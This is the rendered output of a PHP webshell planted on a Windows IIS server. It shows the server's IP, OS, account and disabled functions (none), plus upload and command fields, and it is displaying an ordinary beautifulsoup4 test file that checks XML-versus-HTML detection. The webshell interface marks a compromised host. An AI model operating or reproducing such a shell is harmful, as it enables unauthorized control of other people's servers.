403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/bs4/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/bs4/tests/test_builder.py
import pytest
from unittest.mock import patch
from bs4.builder import DetectsXMLParsedAsHTML


class TestDetectsXMLParsedAsHTML:
    @pytest.mark.parametrize(
        "markup,looks_like_xml",
        [
            ("No xml declaration", False),
            ("<html>obviously HTML</html", False),
            ("<?xml ><html>Actually XHTML</html>", False),
            ("<?xml>            <    html>Tricky XHTML</html>", False),
            ("<?xml ><no-html-tag>", True),
        ],
    )
    def test_warn_if_markup_looks_like_xml(self, markup, looks_like_xml):
        # Test of our ability to guess at whether markup looks XML-ish
        # _and_ not HTML-ish.
        with patch("bs4.builder.DetectsXMLParsedAsHTML._warn") as mock:
            for data in markup, markup.encode("utf8"):
                result = DetectsXMLParsedAsHTML.warn_if_markup_looks_like_xml(data)
                assert result == looks_like_xml
                if looks_like_xml:
                    assert mock.called
                else:
                    assert not mock.called
                mock.reset_mock()

Youez - 2016 - github.com/yon3zu
LinuXploit